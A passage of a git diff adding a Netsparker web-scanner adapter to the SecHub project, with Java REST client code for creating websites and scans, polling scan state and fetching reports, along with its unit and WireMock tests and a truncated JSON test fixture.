json.put(AGENT_NAME, config.getAgentName()); + } + json.put(POLICY_ID, config.getPolicyId()); + + String jsonAsString = context.json().toJSON(json); + + LOG.debug("{} request body will contain json:'{}'", traceID, jsonAsString); + HttpEntity request = new HttpEntity<>(jsonAsString); + + String apiUrl = createAPIURL(APICALL_CREATE_NEW_SCAN, config); + try { + LOG.debug("{} calling api url '{}'", traceID, apiUrl); + ResponseEntity response = context.getRestOperations().postForEntity(apiUrl, request, String.class); + if (!CREATED.equals(response.getStatusCode())) { + throw new NetsparkerRESTFailureException(response.getStatusCode(), response.getBody()); + } + context.setProductContextId(extractIDFromScanResult(response.getBody(), context)); + LOG.debug("{} created new scan and got netsparker ID '{}'", traceID, context.getProductContextId()); + + } catch (HttpClientErrorException e) { + throw new NetsparkerRESTFailureException(e.getStatusCode(), e.getResponseBodyAsString()); + } + + } + + private void ensureNetsparkerWebsiteConfigurationExists(NetsparkerContext context) throws AdapterException { + if (existsWebsiteInNetsparker(context)) { + return; + } + /* create the website */ + createWebsite(context); + + } + + private boolean existsWebsiteInNetsparker(NetsparkerContext context) { + NetsparkerAdapterConfig config = context.getConfig(); + String traceID = config.getTraceID(); + + String websiteName = config.getWebsiteName(); + String apiUrl = createAPIURL(APICALL_GET_WEBSITE + websiteName, config); + LOG.debug("{} check website existswith '{}'", traceID, apiUrl); + try { + ResponseEntity response = context.getRestOperations().getForEntity(apiUrl, String.class); + if (OK.equals(response.getStatusCode())) { + LOG.debug("{} Website:{} exists already with name:{}", traceID, config.getTargetAsString(), + websiteName); + return true; + } + } catch (HttpClientErrorException e) { + if (NOT_FOUND.equals(e.getStatusCode())) { + LOG.debug("{} Website:{} does not exists with name:{}", traceID, config.getTargetAsString(), + websiteName); + return false; + } + LOG.error(e.getResponseBodyAsString()); + throw e; + } + return false; + } + + private MultiValueMap createHeader(NetsparkerAdapterConfig config) { + MultiValueMap headers = new LinkedMultiValueMap<>(); + return headers; + } + + private class NetsparkerWaitForStateSupport + extends WaitForStateSupport { + + public NetsparkerWaitForStateSupport() { + super(NetsparkerAdapterV1.this); + } + + @Override + protected boolean isWaitingForOKWhenInState(String state, NetsparkerAdapterContext context) { + return !NetsparkerState.isWellknown(state); + } + + @Override + protected void handleNoLongerWaitingState(String state, NetsparkerAdapterContext context) + throws Exception { + NetsparkerAdapterConfig config = context.getConfig(); + if (NetsparkerState.COMPLETE.isRepresentedBy(state)) { + LOG.debug("{} completed", getAdapterLogId(config)); + return; + } + if (NetsparkerState.CANCELED.isRepresentedBy(state)) { + LOG.debug("{} canceled", getAdapterLogId(config)); + throw asAdapterCanceledByUserException(config); + } + if (NetsparkerState.FAILED.isRepresentedBy(state)) { + LOG.debug("{} failed", getAdapterLogId(config)); + throw asAdapterException("Execution failed, see log files in netsparker for details", config); + } + throw asAdapterException(state + " is wellknown but not handled by adapter!", config); + + } + + protected String getCurrentState(NetsparkerAdapterContext context) throws AdapterException { + String traceID = context.getConfig().getTraceID(); + String apiUrl = createAPIURL(APICALL_GET_SCAN_STATUS + context.getProductContextId(), context.getConfig()); + LOG.debug("{} calling get state with '{}'", traceID, apiUrl); + + ResponseEntity response = context.getRestOperations().getForEntity(apiUrl, String.class); + if (!OK.equals(response.getStatusCode())) { + throw new NetsparkerRESTFailureException(response.getStatusCode(), response.getBody()); + } + String state = context.json().fetch("State", response).asText(); + LOG.debug("{} state is '{}'", traceID, state); + return state; + } + } +} diff --git a/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerClientHttpRequestInterceptor.java b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerClientHttpRequestInterceptor.java new file mode 100644 index 0000000000..077bb44e68 --- /dev/null +++ b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerClientHttpRequestInterceptor.java @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import java.io.IOException; + +import org.springframework.http.HttpHeaders; +import org.springframework.http.HttpRequest; +import org.springframework.http.MediaType; +import org.springframework.http.client.ClientHttpRequestExecution; +import org.springframework.http.client.ClientHttpRequestInterceptor; +import org.springframework.http.client.ClientHttpResponse; + +public class NetsparkerClientHttpRequestInterceptor implements ClientHttpRequestInterceptor { + + private NetsparkerAdapterConfig config; + + public NetsparkerClientHttpRequestInterceptor(NetsparkerAdapterConfig config) { + this.config = config; + } + + @Override + public ClientHttpResponse intercept(HttpRequest request, byte[] body, ClientHttpRequestExecution execution) + throws IOException { + + HttpHeaders headers = request.getHeaders(); + headers.remove("Content-Type"); // strange, but sometimes there was a content-type (plain-text already added) + headers.remove("Authorization"); + + headers.add("Content-Type", MediaType.APPLICATION_JSON_VALUE); + headers.add("Authorization", "Basic " + config.getBase64Token()); + return execution.execute(request, body); + } + +} diff --git a/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerConfig.java b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerConfig.java new file mode 100644 index 0000000000..04325c2294 --- /dev/null +++ b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerConfig.java @@ -0,0 +1,113 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import com.daimler.sechub.adapter.AbstractAdapterConfig; +import com.daimler.sechub.adapter.AbstractAdapterConfigBuilder; +import com.daimler.sechub.adapter.support.MessageDigestSupport; + +public class NetsparkerConfig extends AbstractAdapterConfig implements NetsparkerAdapterConfig{ + + private String licenseID; + + private String agentName; + private String agentGroupName; + + private String websiteName; + + @Override + public String getLicenseID() { + return licenseID; + } + + @Override + public String getWebsiteName() { + return websiteName; + } + + @Override + public String getAgentName() { + return agentName; + } + + @Override + public String getAgentGroupName() { + return agentGroupName; + } + + @Override + public boolean hasAgentGroup() { + return agentGroupName != null && !agentGroupName.isEmpty(); + } + + private NetsparkerConfig() { + } + + public static NetsparkerConfigBuilder builder() { + return new NetsparkerConfigBuilder(); + } + + public static class NetsparkerConfigBuilder + extends AbstractAdapterConfigBuilder { + + MessageDigestSupport md5Builder = new MessageDigestSupport(); + + private String licenseID; + private String agentName; + private String agentGroupName; + + private NetsparkerConfigBuilder() { + } + + public NetsparkerConfigBuilder setAgentName(String agentName) { + this.agentName = agentName; + return this; + } + + public NetsparkerConfigBuilder setAgentGroupName(String agentGroupName) { + this.agentGroupName = agentGroupName; + return this; + } + + public NetsparkerConfigBuilder setLicenseID(String licenseID) { + this.licenseID = licenseID; + return this; + } + + @Override + protected void customBuild(NetsparkerAdapterConfig adapterConfig) { + if (! (adapterConfig instanceof NetsparkerConfig)) { + throw new IllegalArgumentException("not a netsparker config:"+adapterConfig); + } + NetsparkerConfig config = (NetsparkerConfig)adapterConfig; + String websiteURLAsString = config.getRootTargetURIasString(); + if (websiteURLAsString==null) { + throw new IllegalStateException("website url (root target url ) may not be null at this point!"); + } + config.websiteName= md5Builder.createMD5(websiteURLAsString); + config.licenseID = licenseID; + config.agentName = agentName; + config.agentGroupName = agentGroupName; + } + + @Override + protected void customValidate() { + assertUserSet(); + assertAPITokenSet(); + assertLicenseIDSet(); + assertProductBaseURLSet(); + } + + private void assertLicenseIDSet() { + if (licenseID == null) { + throw new IllegalStateException("no licenseID given"); + } + } + + @Override + protected NetsparkerAdapterConfig buildInitialConfig() { + return new NetsparkerConfig(); + } + + } + +} diff --git a/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerContext.java b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerContext.java new file mode 100644 index 0000000000..a6518452d3 --- /dev/null +++ b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerContext.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import org.springframework.http.client.ClientHttpRequestInterceptor; + +import com.daimler.sechub.adapter.AbstractSpringRestAdapterContext; + +/** + * Context for NETSPARKER execution. + * + * @author Albert Tregnaghi + * + */ +public class NetsparkerContext extends AbstractSpringRestAdapterContext implements NetsparkerAdapterContext{ + + public NetsparkerContext(NetsparkerAdapterConfig config, NetsparkerAdapter adapter) { + super(config,adapter); + } + + @Override + protected ClientHttpRequestInterceptor createInterceptorOrNull(NetsparkerAdapterConfig config) { + return new NetsparkerClientHttpRequestInterceptor(config); + } + +} diff --git a/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerRESTFailureException.java b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerRESTFailureException.java new file mode 100644 index 0000000000..498b9039cb --- /dev/null +++ b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerRESTFailureException.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import org.springframework.http.HttpStatus; + +/* FIXME Albert Tregnaghi, 2018-03-27: remove this by common exception */ +public class NetsparkerRESTFailureException extends RuntimeException { + + private static final long serialVersionUID = 6448794893494468643L; + private final String body; + + public NetsparkerRESTFailureException(HttpStatus status, String body) { + super("Netsparker REST failed with HTTP Status:" + (status != null ? status.name() : "null")); + this.body = body; + } + + public String getResponseBody() { + return body; + } + + @Override + public String toString() { + return super.toString() + "\nBody:\n" + getResponseBody(); + } +} diff --git a/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerState.java b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerState.java new file mode 100644 index 0000000000..f5af6a40a0 --- /dev/null +++ b/sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerState.java @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +public enum NetsparkerState { + COMPLETE("Complete"), + + FAILED("Failed"), + + CANCELED("Cancelled"); + + private String id; + + private NetsparkerState(String id) { + if (id == null) { + throw new IllegalArgumentException("id may not be null!"); + } + this.id = id; + } + + public boolean isRepresentedBy(String state) { + if (state == null) { + return false; + } + return id.equals(state); + } + + public static boolean isWellknown(String state) { + for (NetsparkerState value : values()) { + if (value.isRepresentedBy(state)) { + return true; + } + } + return false; + } +} diff --git a/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestFileSupport.java b/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestFileSupport.java new file mode 100644 index 0000000000..fc8ef02cef --- /dev/null +++ b/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterTestFileSupport.java @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import com.daimler.sechub.test.SechubTestComponent; +import com.daimler.sechub.test.TestFileSupport; + +@SechubTestComponent +public class NetsparkerAdapterTestFileSupport extends TestFileSupport { + private static final NetsparkerAdapterTestFileSupport TESTFILE_SUPPORT = new NetsparkerAdapterTestFileSupport(); + + public static NetsparkerAdapterTestFileSupport getTestfileSupport() { + return TESTFILE_SUPPORT; + } + + NetsparkerAdapterTestFileSupport() { + super("sechub-adapter-netsparker/src/test/resources"); + } + +} diff --git a/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1Test.java b/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1Test.java new file mode 100644 index 0000000000..a143be6254 --- /dev/null +++ b/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1Test.java @@ -0,0 +1,78 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Test; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.client.RestTemplate; + +import com.daimler.sechub.adapter.AdapterException; +import com.daimler.sechub.adapter.support.JSONAdapterSupport; + +public class NetsparkerAdapterV1Test { + + private NetsparkerAdapterV1 adapterToTest; + private NetsparkerAdapterContext context; + private NetsparkerAdapterConfig config; + private RestTemplate template; + + @Before + public void before() { + // System.setProperty("org.slf4j.simpleLogger.defaultLogLevel", "debug"); + adapterToTest = new NetsparkerAdapterV1(); + + context = mock(NetsparkerAdapterContext.class); + config = mock(NetsparkerAdapterConfig.class); + template = mock(RestTemplate.class); + + when(context.getConfig()).thenReturn(config); + when(context.getRestOperations()).thenReturn(template); + when(config.getProductBaseURL()).thenReturn("baseURL"); + when(context.getProductContextId()).thenReturn("netsparkerId"); + when(context.json()).thenReturn(new JSONAdapterSupport(adapterToTest, context)); + } + + @Test + public void a_fetch_report__triggers_rest_tempate_with_correct_params() { + /* prepare */ + + @SuppressWarnings("unchecked") + ResponseEntity response = mock(ResponseEntity.class); + when(template.getForEntity(eq("baseURL/api/1.0/scans/report/netsparkerId?Type=Vulnerabilities&Format=Xml"), eq(String.class))).thenReturn(response); + when(response.getStatusCode()).thenReturn(HttpStatus.OK); + + /* execute */ + adapterToTest.fetchReport(context); + + /* test */ + verify(template).getForEntity("baseURL/api/1.0/scans/report/netsparkerId?Type=Vulnerabilities&Format=Xml", + String.class); + } + + @Test + public void isAbleTo_extract_id_from_netsparker_v1_0_40_109_result_when_create_new_scan_triggered() throws AdapterException { + /* prepare */ + String body = NetsparkerAdapterTestFileSupport.getTestfileSupport() + .loadTestFile("netsparker_v1.0.40.109_new_scan_output.json"); + + /* execute */ + String id = adapterToTest.extractIDFromScanResult(body,context); + + /* test */ + assertEquals("a42ab3cf-58e8-455e-6668-a88503af65fe", id); + + } + + @Test + public void api_prefix_is_api_slash_1_0() throws Exception { + + /* test */ + assertEquals("api/1.0", adapterToTest.getAPIPrefix()); + } + +} \ No newline at end of file diff --git a/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1WireMockTest.java b/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1WireMockTest.java new file mode 100644 index 0000000000..8c6e58c157 --- /dev/null +++ b/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1WireMockTest.java @@ -0,0 +1,197 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import static com.github.tomakehurst.wiremock.client.WireMock.*; +import static com.github.tomakehurst.wiremock.client.WireMock.verify; +import static com.github.tomakehurst.wiremock.core.WireMockConfiguration.*; +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import org.json.JSONObject; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.http.HttpStatus; + +import com.daimler.sechub.adapter.IcrementalAdditionalPrefixAPIURLSupport; +import com.daimler.sechub.adapter.support.APIURLSupport; +import com.daimler.sechub.test.TestPortProvider; +import com.github.tomakehurst.wiremock.junit.WireMockRule; +import com.github.tomakehurst.wiremock.stubbing.Scenario; + +public class NetsparkerAdapterV1WireMockTest { + + private static final String APPLICATION_JSON = "application/json"; + private static final String APPLICATION_XML = "application/xml"; + + private static final String WEBSITE_ID = "93cc5894f38546f45f7aa8860366c07e"; + + private static final int HTTPS_PORT = TestPortProvider.DEFAULT_INSTANCE.getWireMockTestHTTPSPort(); + + private static final int HTTP_PORT = TestPortProvider.DEFAULT_INSTANCE.getWireMockTestHTTPPort(); + + private static final String LICENSE_ID = "12345licenseID"; + + private static final String BASE_64_TOKEN = "12345BASE64_TOKEN"; + + private static final String ROOT_URL = "http://example.org"; + + private static final String TARGET_URL = "http://example.org"; + + private static final String NETSPARKER_BASE_URL = "http://localhost:" + HTTP_PORT; + + private static final String POLICY_ID = "12345POLICY_ID"; + + @Rule + public WireMockRule wireMockRule = new WireMockRule(wireMockConfig().port(HTTP_PORT).httpsPort(HTTPS_PORT)); + + private NetsparkerAdapter adapterToTest; + + private NetsparkerAdapterConfig config; + private IcrementalAdditionalPrefixAPIURLSupport apiURLSupport; + + @Before + public void before() { + apiURLSupport = new IcrementalAdditionalPrefixAPIURLSupport("netsparkertest"); + // System.setProperty("org.slf4j.simpleLogger.defaultLogLevel", "debug"); + adapterToTest = new NetsparkerAdapterV1() { + @Override + protected APIURLSupport createAPIURLSupport() { + return apiURLSupport; + } + }; + + config = mock(NetsparkerAdapterConfig.class); + + when(config.getTargetAsString()).thenReturn(TARGET_URL); + when(config.getProductBaseURL()).thenReturn(NETSPARKER_BASE_URL); + when(config.getBase64Token()).thenReturn(BASE_64_TOKEN); + when(config.getLicenseID()).thenReturn(LICENSE_ID); + when(config.getPolicyId()).thenReturn(POLICY_ID); + when(config.getAgentName()).thenReturn("agentName"); + when(config.getAgentGroupName()).thenReturn("agentGroupName"); + when(config.getTimeOutInMilliseconds()).thenReturn(1000*10); + when(config.getWebsiteName()).thenReturn(WEBSITE_ID); + } + + @Test + public void start_scan_returns_returns_result_when_using_agentgroup() throws Exception { + common_start_scan_returns_result(true); + } + + @Test + public void start_scan_returns_returns_result_when_using_agent() throws Exception { + common_start_scan_returns_result(false); + } + + private void common_start_scan_returns_result(boolean configHasAgentGroup) throws Exception { + /* prepare */ + + when(config.hasAgentGroup()).thenReturn(configHasAgentGroup); + + JSONObject newWebsiteBodyJSON = new JSONObject(); + newWebsiteBodyJSON.put("RootUrl", ROOT_URL); + newWebsiteBodyJSON.put("Name", WEBSITE_ID); + newWebsiteBodyJSON.put("LicenseType", "Subscription"); + newWebsiteBodyJSON.put("SubscriptionBasedProductLicenseId", LICENSE_ID); + + String createNewWebsiteBody = newWebsiteBodyJSON.toString(); + /* @formatter:off */ + /* +-----------------------------------------------------------------------+ */ + /* +............................ check website ............................+ */ + /* +-----------------------------------------------------------------------+ */ + stubFor(get(urlEqualTo(apiURLSupport.nextURL("/api/1.0/websites/get?query="+WEBSITE_ID))) + .withHeader("Authorization", equalTo("Basic "+BASE_64_TOKEN)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) + .willReturn(aResponse() + .withStatus(HttpStatus.NOT_FOUND.value()))); + /* +-----------------------------------------------------------------------+ */ + /* +............................ create website ...........................+ */ + /* +-----------------------------------------------------------------------+ */ + stubFor(post(urlEqualTo(apiURLSupport.nextURL("/api/1.0/websites/new"))) + .withHeader("Authorization", equalTo("Basic "+BASE_64_TOKEN)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) + .withRequestBody(equalToJson(createNewWebsiteBody)) + .willReturn(aResponse() + .withStatus(HttpStatus.CREATED.value()) + .withHeader("Content-Type", APPLICATION_JSON) + .withBody("[{\"ID\" : \"1234567890\"}]"))); + /* +-----------------------------------------------------------------------+ */ + /* +............................ new scan .................................+ */ + /* +-----------------------------------------------------------------------+ */ + JSONObject newScanBodyJSON = new JSONObject(); + newScanBodyJSON.put("TargetUri", TARGET_URL); + if (configHasAgentGroup) { + newScanBodyJSON.put("AgentGroupName", "agentGroupName"); + }else { + newScanBodyJSON.put("AgentName", "agentName"); + } + newScanBodyJSON.put("PolicyId", POLICY_ID); + + String newScanBodyJSONString = newScanBodyJSON.toString(); + + stubFor(post(urlEqualTo(apiURLSupport.nextURL("/api/1.0/scans/new"))) + .withHeader("Authorization", equalTo("Basic "+BASE_64_TOKEN)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) + .withRequestBody(equalToJson(newScanBodyJSONString)) + .willReturn(aResponse() + .withStatus(HttpStatus.CREATED.value()) + .withHeader("Content-Type", APPLICATION_JSON) + .withBody("[{\"Id\" : \"1234567890\"}]"))); + /* +-----------------------------------------------------------------------+ */ + /* +............................ check scan state .........................+ */ + /* +-----------------------------------------------------------------------+ */ + stubFor(get(urlEqualTo(apiURLSupport.nextURL("/api/1.0/scans/status/1234567890"))) + .inScenario("checkState").whenScenarioStateIs(Scenario.STARTED).willSetStateTo("scanning") + .withHeader("Authorization", equalTo("Basic "+BASE_64_TOKEN)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) + .willReturn(aResponse() + .withStatus(HttpStatus.OK.value()) + .withHeader("Content-Type", APPLICATION_JSON) + .withBody("{\"State\":\"Scanning\",\"EstimatedSteps\":5000,\"CompletedSteps\":5000,\"EstimatedLaunchTime\":null}"))); + /* hm.. this does not work - only the last stub is used...*/ + stubFor(get(urlEqualTo(apiURLSupport.nextURL("/api/1.0/scans/status/1234567890"))) + .inScenario("checkState").whenScenarioStateIs("scanning").willSetStateTo("complete") + .withHeader("Authorization", equalTo("Basic "+BASE_64_TOKEN)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) + .willReturn(aResponse() + .withStatus(HttpStatus.OK.value()) + .withHeader("Content-Type", APPLICATION_JSON) + .withBody("{\"State\":\"Complete\",\"EstimatedSteps\":5000,\"CompletedSteps\":5000,\"EstimatedLaunchTime\":null}"))); + + String xml = "" + + ""; + + /* +-----------------------------------------------------------------------+ */ + /* +............................ get report ..... .........................+ */ + /* +-----------------------------------------------------------------------+ */ + stubFor(get(urlEqualTo(apiURLSupport.nextURL("/api/1.0/scans/report/1234567890?Type=Vulnerabilities&Format=Xml"))) + .withHeader("Authorization", equalTo("Basic "+BASE_64_TOKEN)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) + .willReturn(aResponse() + .withStatus(HttpStatus.OK.value()) + .withHeader("Content-Type", APPLICATION_XML) + .withBody(xml))); + /* @formatter:on */ + + /* execute */ + String result = adapterToTest.start(config); + + /* test */ + verify(getRequestedFor(urlEqualTo("/netsparkertest_1/api/1.0/websites/get?query=" + WEBSITE_ID))); + verify(postRequestedFor(urlEqualTo("/netsparkertest_2/api/1.0/websites/new"))); + verify(postRequestedFor(urlEqualTo("/netsparkertest_3/api/1.0/scans/new"))); + verify(getRequestedFor(urlEqualTo("/netsparkertest_4/api/1.0/scans/status/1234567890"))); // scanning + verify(getRequestedFor(urlEqualTo("/netsparkertest_5/api/1.0/scans/status/1234567890"))); // complete... + + assertEquals(xml, result); + } + + @TestConfiguration + @EnableAutoConfiguration + public static class SimpleTestConfiguration{ + + } +} \ No newline at end of file diff --git a/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerConfigBuilderTest.java b/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerConfigBuilderTest.java new file mode 100644 index 0000000000..d324c06d73 --- /dev/null +++ b/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerConfigBuilderTest.java @@ -0,0 +1,105 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import static org.junit.Assert.*; + +import java.net.URI; +import java.util.Collections; + +import org.junit.Test; + +import com.daimler.sechub.adapter.AbstractAdapterConfig; +import com.daimler.sechub.adapter.AbstractAdapterConfigBuilder; +import com.daimler.sechub.adapter.netsparker.NetsparkerConfig.NetsparkerConfigBuilder; + +/** + * Name handling is tested here because its very important when using NETSPARKER (each name produces costs) + * @author Albert Tregnaghi + * + */ +public class NetsparkerConfigBuilderTest { + @Test + public void websiteName_is_md5_of_root_target_uri() throws Exception { + /* prepare */ + /* execute */ + NetsparkerAdapterConfig cfg = validConfigAnd().setTargetURI(URI.create("http://www.example.com")).build(); + + /* test */ + String websiteName = cfg.getWebsiteName(); + assertNotNull(websiteName); + assertEquals("847310eb455f9ae37cb56962213c491d", websiteName); + } + @Test + public void emptyAgentGroupSet_returns_has_agentgroup_false() throws Exception { + /* prepare */ + /* execute */ + NetsparkerAdapterConfig cfg = validConfigAnd().setAgentGroupName("").build(); + + /* test */ + assertFalse(cfg.hasAgentGroup()); + } + + @Test + public void nullAgentGroupSet_returns_has_agentgroup_false() throws Exception { + /* prepare */ + /* execute */ + NetsparkerAdapterConfig cfg = validConfigAnd().setAgentGroupName(null).build(); + + /* test */ + assertFalse(cfg.hasAgentGroup()); + } + + @Test + public void agentGroupSet_returns_has_agentgroup_true() throws Exception { + /* prepare */ + /* execute */ + NetsparkerAdapterConfig cfg = validConfigAnd().setAgentGroupName("agentGroup1").build(); + + /* test */ + assertTrue(cfg.hasAgentGroup()); + } + + + @Test + public void getAgentGroup_returns_builder_value() throws Exception { + /* prepare */ + /* execute */ + NetsparkerAdapterConfig cfg = validConfigAnd().setAgentGroupName("agentGroup1").build(); + + /* test */ + assertEquals("agentGroup1", cfg.getAgentGroupName()); + } + + @Test + public void getAgent_returns_builder_value() throws Exception { + /* prepare */ + /* execute */ + NetsparkerAdapterConfig cfg = validConfigAnd().setAgentName("agent1").build(); + + /* test */ + assertEquals("agent1", cfg.getAgentName()); + } + + @Test + public void configBuilder_is_child_of_abstract_adapter_config_builder() { + assertTrue(AbstractAdapterConfigBuilder.class.isAssignableFrom(NetsparkerConfigBuilder.class)); + } + @Test + public void config_is_child_of_abstract_adapter_config() { + assertTrue(AbstractAdapterConfig.class.isAssignableFrom(NetsparkerConfig.class)); + } + + + private NetsparkerConfigBuilder validConfigAnd() { + /* @formatter:off */ + return NetsparkerConfig.builder(). + setApiToken("apiToken"). + setLicenseID("licenseId"). + setProductBaseUrl("https://netsparker.test.example.org"). + setPolicyID("policyId"). + setUser("userId"). + setTargetURIs(Collections.singleton(URI.create("https://www.unknown.de"))); + /* @formatter:on */ + } + +} diff --git a/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerContextTest.java b/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerContextTest.java new file mode 100644 index 0000000000..49342a637d --- /dev/null +++ b/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerContextTest.java @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Test; + +public class NetsparkerContextTest { + private NetsparkerContext contextToTest; + private NetsparkerAdapterConfig config; + private NetsparkerAdapter adapter; + + @Before + public void before() throws Exception{ + config = mock(NetsparkerAdapterConfig.class); + adapter = mock(NetsparkerAdapter.class); + + when(config.getProductBaseURL()).thenReturn("http://localhost"); + when(config.getTargetAsString()).thenReturn("https://my.scan.target"); + when(config.getRootTargetURIasString()).thenReturn("https://my.scan.target"); + + contextToTest = new NetsparkerContext(config,adapter); + } + + @Test + public void isTimeout_returns_false_when_timeout_is_1000_slept_none() { + /* prepare */ + when(config.getTimeOutInMilliseconds()).thenReturn(1000); + + /* exeucte + test */ + assertFalse(contextToTest.isTimeOut()); + } + + @Test + public void isTimeout_returns_true_when_timeout_is_1_and_slept_10_millisecond() throws Exception { + /* prepare */ + when(config.getTimeOutInMilliseconds()).thenReturn(1); + + Thread.sleep(10); // NOSONAR + + /* exeucte + test */ + assertTrue(contextToTest.isTimeOut()); + } + +} diff --git a/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerStateTest.java b/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerStateTest.java new file mode 100644 index 0000000000..0967d1fd76 --- /dev/null +++ b/sechub-adapter-netsparker/src/test/java/com/daimler/sechub/adapter/netsparker/NetsparkerStateTest.java @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.netsparker; + +import static org.junit.Assert.*; + +import org.junit.Test; + +public class NetsparkerStateTest { + + @Test + public void is_wellknown_return_true_for_Cancelled() { + assertTrue(NetsparkerState.isWellknown("Cancelled")); + } + + @Test + public void is_wellknown_return_true_for_Failed() { + assertTrue(NetsparkerState.isWellknown("Failed")); + } + + @Test + public void is_wellknown_return_true_for_Complete() { + assertTrue(NetsparkerState.isWellknown("Complete")); + } + + @Test + public void is_wellknown_return_false_for_Unknown() { + assertFalse(NetsparkerState.isWellknown("Unknown")); + } +} diff --git a/sechub-adapter-netsparker/src/test/resources/README.md b/sechub-adapter-netsparker/src/test/resources/README.md new file mode 100644 index 0000000000..33ab3d0115 --- /dev/null +++ b/sechub-adapter-netsparker/src/test/resources/README.md @@ -0,0 +1,6 @@ + +About this folder +================= +You will find netsparker outputs from real world scans! + +Some of the files are used inside tests to ensure the format can be imported/used. \ No newline at end of file diff --git a/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_new_scan_output.json b/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_new_scan_output.json new file mode 100644 index 0000000000..ef4120f084 --- /dev/null +++ b/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_new_scan_output.json @@ -0,0 +1 @@ +[{"WebsiteUrl":"https://fscan.intranet.example.org/","TargetPath":"/","TargetUrl":"https://fscan.intranet.example.org/","TargetUrlRoot":"https://fscan.intranet.example.org/","Initiated":"12/02/2018 